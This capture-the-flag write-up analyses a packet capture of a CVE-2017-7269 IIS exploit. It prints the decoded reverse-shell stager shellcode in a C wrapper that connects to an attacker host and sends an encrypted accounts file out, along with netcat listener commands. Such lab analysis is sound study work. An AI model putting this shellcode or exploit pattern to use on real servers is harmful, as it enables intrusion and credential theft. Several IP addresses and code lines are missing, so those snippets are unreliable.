RE Crowd was a different kind of reversing challenge. I’m given a PCAP that includes someone trying to exploit an IIS webserver using CVE-2017-7269. This exploit uses alphanumeric shellcode to run on success. I’ll pull the shellcode and analyze it, seeing that it’s a Metasploit loader that connects to a host and then the host sends back an encrypted blob. The host then sends another encrypted blob back to the attcker. I’ll use what I can learn about the attacker’s commands to decrypt that exfil and find the flag.



Here at Reynholm Industries we pride ourselves on everything. It’s not easy to admit, but recently one of our most valuable servers was breached. We don’t believe in host monitoring so all we have is a network packet capture. We need you to investigate and determine what data was extracted from the server, if any.

Thank you

In a new twist for Flare-On (at least as far as I’ve done), I’m given only a PCAP file:

root@kali# file re_crowd.pcapng 
re_crowd.pcapng: pcapng capture file - version 1.0



When I’m given a PCAP, I like to start by looking at statistics about the conversations. This can be done in Wireshark, but I’ll go with the command line.

There are three hosts, with talking to and

root@kali# tshark -r re_crowd.pcapng -q -z conv,ip
IPv4 Conversations
Filter:<No Filter>
                                               |       <-      | |       ->      | |     Total     |    Relative    |   Duration   |          
                                               | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |          <->            419    129550     299     98483     718    228033     5.005510000        20.7639             <->              2       182       0         0       2       182     0.000000000         5.3247

There are 93 different TCP streams (the numbering is 0-based):

root@kali# tshark -r re_crowd.pcapng -T fields -e | sort -unr | head -1

Most of the TCP streams are connecting to a webserver on, but there are two others that stand out:

root@kali# tshark -r re_crowd.pcapng -q -z conv,tcp
TCP Conversations
Filter:<No Filter>
                                                           |       <-      | |       ->      | |     Total     |    Relative    |   Duration   |
                                                           | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |        <->                 14     42894      18      3293      32     46187     5.008275000        20.7612        <->                  6     11817       7       826      13     12643    10.327909000        10.2096        <->                  5       635       7      2089      12      2724    17.238991000         2.2128        <->                  5      7465       6       756      11      8221    10.327019000        10.2104        <->                  4       569       6      2137      10      2706    16.647657000         0.0459        <->                  4       569       6      2135      10      2704    16.676111000         0.0453
...[snip]...          <->               3       182       5       484       8       666    16.829064000         0.0016
...[snip]...         <->                3       170       2      1359       5      1529    16.827242000         0.1136

The two more interesting connections:

  • <–> starting 16.827 seconds into the PCAP, lasting 0.1136 seconds
  • <–> starting 16.829 seconds into the PCAP, lasting 0.453 seconds.

Anytime you see port 1337 (leet) in a CTF, it’s likely interesting. And port 4444 is the default Metasploit port. Given how close together these were in time, and the successive source ports from the .1, they are likely related.


TCP Streams Overview

Opening the PCAP in Wireshark, I can validate what I saw with tshark. There’s no unimportant data in here. The TCP streams break into six groups:

Stream Activity
0-2 A GET request for a internal company chat, with images and CSS
3-31 Some kind of FIN/ACK scans from the attacker to the server.
32-48, 52-92 Exploit failures, 500 response from server
49 Exploit success
50 Server connects to attacker on TCP 4444, attacker sends encrypted
51 Server connects to attacker on TCP 1337, server sends encrypted

The two encrypted streams will be important later, but not much to do with them now.


The chat page has a section topnav and then a column with chat in it, each of which looks like:

<div class="row">
	<div class="postdetails">
		<div class="post top">
			June, 5th, 2018, 01:33 PM
		<div class="post left">
				<img src="jen.jpg" class="avatar">Jen
		<div class="post right">
			<p>Roy, Moss, look!! I made an IT Department web forum!!</p>

I can dump all the HTTP objects out of Wireshark and open it in Firefox:

There’s a few hints in here:

  • There’s a list of usernames and passwords at C:\accounts.txt on the server (I actually missed this originally, but I’ll show later how I found it).
  • The server isn’t patched at all.
  • The timeframe is June 2018.


The exploit attempts are each a PROPFIND request to the root with an IF header with a long string:

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Length: 0
If: <> (Not <locktoken:write1>) <>

Each of the attempts are the same except they remove the first byte after < in the If: header from the prior attempt (so the A in the example above). This looks to me like a buffer overflow where the attacker is trying to get the right buffer length to line up the rest of the exploit to run.

In each request except for one (the one that works, where there’s no response), there’s a 500 response from the server:

HTTP/1.1 500 Internal Server Failure
Connection: close
Date: Thu, 16 Jul 2020 20:19:53 GMT
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Content-Type: text/html
Content-Length: 67

<body><h1>HTTP/1.1 500 Internal Server Error(exception)</h1></body>

Based on the unusual PROPFIND requests and the Server header saying the server runs IIS 6.0, some googling quickly leads to CVE-2017-7269. This blog from TrendMicro does a good short overview. There are POCs available on GitHub. This blog post does a good deeper dive into the vulnerability. One takeaway is that the exploit must use alphanumeric shellcode. With that limited instruction set, typically shellcode will decode itself into something more complex (outside the alphanumeric limitations) and then run its decoded version.

I’ll grab the shellcode from the one request with no return from the server (though each request is the same) and save that:



Decode Shellcode

I first tried to see if I could just run this shellcode in something like scdbg.exe, but it didn’t work. After a bunch of Googling, it looks like I’m going to need to decode it first. Luckily, this article is all about how to decode shellcode in just this kind of attack, and it includes a reference to a script to decode this encoder.

Example from Blog

It took me a little bit of experimentation to get this to work correctly. In the hexdump images in the post, there’s a bunch of unicode, and then the ASCII starts with VVYAIAI.... In the script the encoded_bytes variable is set to "\x56\x56\x59\x41\x49\x41\x49..., which is that string hex encoded.

When I run the script without modification, it prints a bunch of stuff. The author’s image showing a hexdump of the shellcode starts with the bytes FC E8, which is a common pattern for shellcode. Interestingly, that’s in the middle of this output.

image-20200924185317420Click for full size image

Not entirely sure, I started the decoded shellcode there through the end of the line, and used xxd -r -p to convert it to binary.

Now, scdbg.exe works on the result, matching what was in the blog post:

PS > scdbg.exe -f F:\07-re_crowd\example_shellcode.bin
Loaded 1d3 bytes from file F:\07-re_crowd\example_shellcode.bin
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000

4010a4  LoadLibraryA(wininet)
4010b2  InternetOpenA(wininet)
4010c8  InternetConnectA(server:, port: 80, )

Stepcount 2000001


I’ll convert the shellcode into hex in Bash:

root@kali# cat shellcode.txt | xxd -p | tr -d '\n' | sed 's/.\{2\}/\\x&/g'

xxd -p will convert the ASCII bytes to hex (and in raw format with -p). Then tr -d '\n' will remove the newlines. Finally, sed 's/.\{2\}/\\x&/g' will match on any two characters, and replace them with \x[same two characters] to get the string in the right format.

I’ll replace the shellcode in the script with this output, and Just like before, the script prints a lot of extra stuff:

root@kali# python 
8u};}$uXX$fI:I41                      Rr(J&1<a|, 

But there’s an FCE8, so I’ll start there and grab the rest. Converting it back to binary with xxd -r -p, it now runs in scdbg.exe:

PS > .\scdbg.exe -f F:\07-re_crowd\flare7decode_mod_raw
Loaded 18b bytes from file F:\07-re_crowd\flare7decode_mod_raw
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000

40109b  LoadLibraryA(ws2_32)
4010ab  WSAStartup(190)
4010ba  WSASocket(af=2, tp=1, proto=0, group=0, flags=0)
4010d4  connect(h=42, host: , port: 4444 ) = 71ab4a07
4010f1  recv(h=42, buf=12fc5c, len=4, fl=0)
        Allocation (e5e5849) > MAX_ALLOC adjusting...
40110c  VirtualAlloc(base=0 , sz=1000000) = 600000
        len being reset to 4096 from e5e5849
401121  recv(h=42, buf=600100, len=1000, fl=0)
        len being reset to 4096 from e5e5849
401121  recv(h=42, buf=600100, len=1000, fl=0)

Stepcount 2000001

The shellcode is making a connection to, calling recv, allocating space with VirtualAlloc, then a couple more recv, and it exits.

At this point I can form a theory about what’s happening. The shellcode is making this connection back to the attacker on .21, and the attacker is sending more shellcode to be executed. I’m going to guess that the shellcode in the PCAP starts another connection back to the attacker, this time encrypting and exfiling data.

Prep to Run

While scdbg.exe is a great tool to get an idea about what shellcode is doing (and that’s often as deep as people need to go), I want to run this shellcode and debug it.


I want to run this shellcode and be in a position to send the next stage back to it. To do that, I’ll set up my two VMs by changing their network adapters to “Internal Network” in VirtualBox and picking a common name. By attaching them both to the same network, they can communicate with each other through a virtual switch. It’s like this image, except there’s no VM1 (just VM2 and VM3 that can talk to each other):

VirtualBox network settings – using the Internal network mode in a combination with the NAT mode

There I’ll manually set my Kali VM IP to, and my Windows VM to

Make an exe

Windows won’t just run shellcode. The easiest way to run shellcode is to create a wrapper program in C:

#include <stdio.h>

unsigned char sc[] = "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A\x05\x68\xC0\xA8\x44\x15\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF\x4E\x08\x75\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x81\xF6\x4B\x58\x4F\x52\x8D\x0E\x6A\x40\x68\x00\x10\x00\x00\x51\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x8D\x98\x00\x01\x00\x00\x53\x56\x50\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x75\xEE\x5B\x59\x5D\x55\x57\x89\xDF\xE8\x10\x00\x00\x00\x6B\x69\x6C\x6C\x65\x72\x76\x75\x6C\x74\x75\x72\x65\x31\x32\x33\x5E\x31\xC0\xAA\xFE\xC0\x75\xFB\x81\xEF\x00\x01\x00\x00\x31\xDB\x02\x1C\x07\x89\xC2\x80\xE2\x0F\x02\x1C\x16\x8A\x14\x07\x86\x14\x1F\x88\x14\x07\xFE\xC0\x75\xE8\x31\xDB\xFE\xC0\x02\x1C\x07\x8A\x14\x07\x86\x14\x1F\x88\x14\x07\x02\x14\x1F\x8A\x14\x17\x30\x55\x00\x45\x49\x75\xE5\x5F\xC3\x51";

int main(int argc, char **argv) {
    int (*func)() = (int(*)())sc;

I’ll compile this on Linux with mingw32 (apt install mingw-64):

root@kali# i686-w64-mingw32-g++ -fno-stack-protector run_shellcode.c -o run_shellcode.exe

This program will crash if just run because it will try to execute from the .data section which is marked read only. I can change it on each run in x32dbg by finding it in the Memory Map tab, right clicking on it, and selecting “Set Page Memory Rights”:

image-20200924200119713Click for full size image

Better yet, I can open the exe in CFF Explorer, and then find the Section Headers:

image-20200924200212237Click for full size image

The characteristics column is where permissions are defined. The various flags that are set in that dword are defined here. The most interesting ones for this conversation are IMAGE_SCN_MEM_EXECUTE (0x20000000), IMAGE_SCN_MEM_READ, (0x40000000), and IMAGE_SCN_MEM_WRITE (0x80000000). To enable execution on .data, I’ll change the value from 0xC0600040 to 0xE0600040, and then save the executable.


Opening this in x32dbg, there are a few break point before it reaches the entry point:

image-20200924201651210Click for full size image

Stepping through, there are a couple clear loops where DLL API calls are being processed, until it eventually reaches 0x40309F, which is a JMP EAX:

image-20200924210023891Click for full size image

The argument on the stack is ws2_32, which offers API calls around sockets. I’ll leave a break point here and run til it reaches again. This time it’s calling ws2_32.WSAStartup. Continuing, there’s a call to ws2_32.WSASocketA, and then ws2_32.connect. I’ll look at this API call a bit more in depth. The docs show it takes a socket, a sockaddr pointer, and an int:

image-20200924211859706Click for full size image

Looking at the stack, there’s the return address, followed by 0x130 (socket id), then a pointer, and then 0x10 (the length of the name). Right-clicking on the address and selecting Follow in Dump jumps to the sockaddr:


The docs show that a sockaddr is:

struct sockaddr_in {
        short   sin_family;
        u_short sin_port;
        struct  in_addr sin_addr;
        char    sin_zero[8];
Object Value Note
short sin_family; 0x0002 AF_INET == TCP
u_short sin_port; 0x5C11 4444
struct in_addr sin_addr; 0xC0A84415

This is a call to connect to

Continuing on, it errors out with a connection refused:


Feed Shellcode

Looking at the PCAP, what gets sent back looks like random encrypted data to me:


If that’s true, I could either send some random data back and try to understand the decryption. Better yet, I can replay this data back to the shellcode and see if it still works.

I copied this data as a hexdump from Wireshark and used CyberChef’s From Hexdump to decode it and then save the result to a file.

I started a nc listener on 4444 which will send the response payload:

root@kali# nc -lnvp 4444 < resp.dat 
Ncat: Version 7.80 ( )
Ncat: Listening on :::4444
Ncat: Listening on

I also started a listener on 1337 on the chance that the code still worked and that caused data to come back to me. On running my exe, there’s a connection first at 4444, then at 1337. Neither outputs any data.

At this point, I think the second stage is looking for the file with the flag in it, but it’s not there.

Find File

I started procmon.exe (from Sysinternals), started the same listeners, and ran the exe again. This part is interesting:


It connects to and receives from the attacker box, then tries to open C:\accounts.txt but fails because it doesn’t exist. Then it connects to the attacket on 1337. That file name is the same one mentioned in the chat at the start of the PCAP.

I put some data into that file, started up both nc, and ran again. I created the test file on Linux because it’s a cleaner file:

root@kali# echo "this is a test" > accounts.txt 

I copied that into C:\. I had the 1337 listener output into xxd because I expect binary data:

root@kali# nc -lnvp 1337 | xxd
Ncat: Version 7.80 ( )
Ncat: Listening on :::1337
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
00000000: 4561 47ca ed7e 8c32 80f5 000f ab8f 20    EaG..~.2...... 

What is interesting is that the test data and this encrypted data are both 15 bytes long. That implies some kind of stream cipher.


I saved the encrypted exfil to a file with Cyberchef just like before. My first thought was to put a long file in place, and have it exfiled to me. If I know the plaintext and the ciphertext, there’s a chance that I can xor them to get the key stream, and then xor that with the ciphertext from the PCAP to get the PCAP plaintext.

To make it simple, I created a file longer than the PCAP ciphertext of all nulls:

root@kali# wc flag-encrypted.dat 
  1   6 206 flag-encrypted.dat
root@kali# python3 -c 'print("\x00"*220, end="")' > null.txt
root@kali# wc null.txt 
  0   0 220 null.txt

I dropped that into place at C:\accounts.txt, and collected the result from 1337 to a file. Because the plaintext is all null, the resulting data should be the key stream. I’ll xor it against the PCAP ciphertext in a Python Repl, and it gives the flag:

>>> with open('keystream.bin', 'rb') as f:
...     keystream =
>>> with open('flag-encrypted.dat', 'rb') as f:
...     ciphertext =
>>> print(''.join([chr(c^k) for c,k in zip(ciphertext, keystream)]))

Since the same keystream is being used to xor the data, I could also just put the encrypted data in place at accounts.txt, and then what comes back over nc will be the plaintext:

root@kali# nc -lnvp 1337
Ncat: Version 7.80 ( )
Ncat: Listening on :::1337
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from

Either way, I’ve captured the flag.